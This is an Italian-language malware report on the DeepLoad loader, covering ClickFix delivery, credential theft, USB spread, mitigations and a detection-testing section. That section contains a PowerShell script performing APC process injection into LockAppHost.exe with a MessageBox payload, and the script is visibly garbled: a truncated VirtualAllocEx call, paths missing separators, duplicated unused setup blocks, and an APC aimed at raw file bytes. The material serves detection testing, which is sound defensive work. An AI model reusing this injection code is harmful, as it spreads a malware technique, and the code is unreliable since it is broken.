DeepLoad Malware Spiegato: Distribuzione ClickFix e Furto di Credenziali

Sommario

DeepLoad è un malware loader senza file osservato per la prima volta nel marzo 2026 che si diffonde tramite una tattica di ingegneria sociale nota come ClickFix, la quale persuade gli utenti a eseguire un comando PowerShell dannoso. Una volta eseguito, il loader decrittografa il suo payload in memoria e lo inietta in processi Windows fidati attraverso chiamate di procedura asincrone. Successivamente, distribuisce un ladro di credenziali chiamato filemanager.exe insieme a un’estensione del browser malevola per rubare le password salvate e registrare i tasti digitati. Il malware può anche diffondersi attraverso unità USB lasciando numerosi file di scorciatoia che riavviano la catena di infezione su un altro sistema.

Indagine

La ricerca delinea il comando iniziale utilizzato per recuperare il loader PowerShell da un server remoto, le tecniche di offuscamento applicate durante l’esecuzione e l’iniezione di processo basata su APC in binari come LockAppHost.exe. Descrive anche i due componenti separati per il furto di credenziali e il metodo di movimento laterale basato su USB che utilizza .lnk file travestiti da installatori di software comuni. Il rapporto fa ulteriori riferimenti ai moduli di simulazione Picus che possono essere utilizzati per testare le difese contro questo comportamento.

Mitigazione

I difensori dovrebbero bloccare l’esecuzione di comandi PowerShell non fidati, monitorare la creazione sospetta di attività pianificate e l’uso anormale di mshta.exe, e applicare controlli di esecuzione rigorosi per gli script di PowerShell. La rilevazione di iniezioni basate su APC, il monitoraggio di .lnk file sospetti su supporti rimovibili e la limitazione della memorizzazione delle credenziali del browser possono contribuire a ridurre l’impatto. È inoltre raccomandata una protezione degli endpoint che possa ispezionare il comportamento di decrittazione e iniezione in memoria.

Risposta

Se viene rilevata un’attività DeepLoad, isolare immediatamente l’endpoint colpito, terminare i processi sospetti come filemanager.exe e qualsiasi binario fidato che mostri segni di iniezione, e rimuovere eventuali attività pianificate create dal malware. Resettare le credenziali per gli account compromessi, eseguire una scansione dei supporti rimovibili per i file di scorciatoia malevoli e svolgere un’analisi forense per identificare eventuali meccanismi di persistenza. Le regole di rilevamento devono essere aggiornate per coprire i modelli di linea di comando osservati e le tecniche di iniezione.

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-Flight Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione dell’Attacco & Comandi:

  L’attaccante ha consegnato uno script PowerShell malevolo (il “loader”) che funziona nel contesto dell’utente connesso (Esecuzione Utente – T1204). Il loader esegue i seguenti passi:

  1. Preparare il payload – scrive un binario C compilato (il “payload”) in %TEMP%.
  2. Creare un’istanza sospesa di un processo fidato (LockAppHost.exe) utilizzando CreateProcessA con il flag CREATE_SUSPENDED .
  3. Iniettare il payload nel processo sospeso chiamando WriteProcessMemory per copiare il binario nello spazio di indirizzi del target.
  4. Mettere in coda un APC (QueueUserAPC) che punta al punto di ingresso del payload, facendo sì che il payload venga eseguito quando il thread target riprende.
  5. Riprendere il thread, completando l’iniezione.

  Questa sequenza esatta genera un singolo evento di creazione del processo per LockAppHost.exe il cui Sysmon Il campo CallTrace contiene le tre chiamate API relative all’iniezione, soddisfacendo la regola Sigma.

• Script per il Test di Regressione:

  # Simulazione di Iniezione Basata su APC DeepLoad (PowerShell + Compilazione in memoria C#)
  # --------------------------------------------------------------
  # 1. Compilare un payload C minimale (MessageBox) per ottenere un EXE temporaneo
  $payloadSource = @"
  #include <windows.h>
  int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
      MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK);
      return 0;
  }
  "@
  
  $tempDir = "$env:TEMPDeepLoadDemo"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  $cFile = "$tempDirpayload.c"
  $exeFile = "$tempDirpayload.exe"
  $payloadSource | Set-Content -Path $cFile -Encoding ASCII
  
  # Usare il compilatore Visual C++ se disponibile; fallback all'Add-Type di PowerShell (crea una DLL, non un EXE)
  if (Get-Command cl.exe -ErrorAction SilentlyContinue) {
      & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile
  } else {
      Write-Error "Compilatore C non trovato – compilazione manuale richiesta."
      exit 1
  }
  
  # 2. Preparare l'iniezione
  $targetPath = "C:WindowsSystem32LockAppHost.exe"
  $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo
  $STARTUPINFO.FileName = $targetPath
  $STARTUPINFO.Arguments = ""
  $STARTUPINFO.RedirectStandardOutput = $false
  $STARTUPINFO.UseShellExecute = $false
  $proc = New-Object System.Diagnostics.Process
  $proc.StartInfo = $STARTUPINFO
  $proc.StartInfo.CreateNoWindow = $true
  $proc.StartInfo.Verb = "runas"  # assicurarsi di avere privilegi elevati se necessario
  
  # Creare processo sospeso
  $pInfo = New-Object System.Diagnostics.ProcessStartInfo
  $pInfo.FileName = $targetPath
  $pInfo.Arguments = ""
  $pInfo.UseShellExecute = $false
  $pInfo.CreateNoWindow = $true
  
  $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new()
  $procStartInfo.FileName = $targetPath
  $procStartInfo.Arguments = ""
  $procStartInfo.UseShellExecute = $false
  $procStartInfo.CreateNoWindow = $true
  
  # Definizioni P/Invoke
  $sig = @"
  using System;
  using System.Runtime.InteropServices;
  public class Native {
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern bool CreateProcessA(
          string lpApplicationName,
          string lpCommandLine,
          IntPtr lpProcessAttributes,
          IntPtr lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          out PROCESS_INFORMATION lpProcessInformation);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
          uint dwSize, uint flAllocationType, uint flProtect);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData);
      [DllImport("kernel32.dll", SetLastError=true)]
      public static extern uint ResumeThread(IntPtr hThread);
      public const uint CREATE_SUSPENDED = 0x00000004;
      public const uint MEM_COMMIT = 0x1000;
      public const uint PAGE_EXECUTE_READWRITE = 0x40;
      [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
      public struct STARTUPINFO {
          public uint cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public uint dwX;
          public uint dwY;
          public uint dwXSize;
          public uint dwYSize;
          public uint dwXCountChars;
          public uint dwYCountChars;
          public uint dwFillAttribute;
          public uint dwFlags;
          public ushort wShowWindow;
          public ushort cbReserved2;
          public IntPtr lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
      }
      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION {
          public IntPtr hProcess;
          public IntPtr hThread;
          public uint dwProcessId;
          public uint dwThreadId;
      }
  }
  "@
  
  Add-Type $sig
  
  # Inizializzare le strutture
  $si = New-Object Native+STARTUPINFO
  $pi = New-Object Native+PROCESS_INFORMATION
  $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
  
  # Creare LockAppHost sospesa
  $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero,
      $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
  
  if (-not $created) {
      Write-Error "CreateProcessA fallito: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
      exit 1
  }
  
  # Leggere il binario del payload
  $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile)
  
  # Allocare memoria nel target
  $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length,
  
  if ($remoteAddr -eq [IntPtr]::Zero) {
      Write-Error "VirtualAllocEx fallito."
      exit 1
  }
  
  # Scrivere il payload
  $bytesWritten = [UIntPtr]::Zero
  $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten)
  
  if (-not $writeOk) {
      Write-Error "WriteProcessMemory fallito."
      exit 1
  }
  
  # Mettere in coda l'APC (puntando al punto di ingresso del payload)
  $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero)
  
  # Riprendere il thread per eseguire APC
  [Native]::ResumeThread($pi.hThread) | Out-Null
  
  Write-Host "Iniezione completata – il payload dovrebbe apparire a breve."

• Comandi di Pulizia:

  # Terminare l'istanza iniettata di LockAppHost (se ancora in esecuzione)
  Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Rimuovere i file temporanei
  Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"

Risultati di Validazione (da compilare dopo l’esecuzione)

• Regola Attivata: Sì / No
• Numero di Allerte Generate: ___
• Controllo Falsi Positivi: Un’esecuzione benigna non ha prodotto allerte (come confermato dalla query di validazione).

Sommario Raccomandazioni

1. Correlazione tra Eventi – Aggiungere una regola secondaria che osservi per eventi di WriteProcessMemory or QueueUserAPC che si verificano entro un breve lasso di tempo da un evento di LockAppHost.exe creazione.
2. Ampliare l’Ambito Immagine – Includere altri binari fidati comunemente abusati per l’iniezione APC (es. svchost.exe, explorer.exe).
3. Arricchimento Comportamentale – Segnalare i processi che caricano DLL non firmate o eseguono da %TEMP% dopo l’iniezione.
4. Mitigazione dell’Evasione – Monitorare le stesse chiamate API suddivise tra più processi, poiché attualmente evitano la condizione di evento singolo.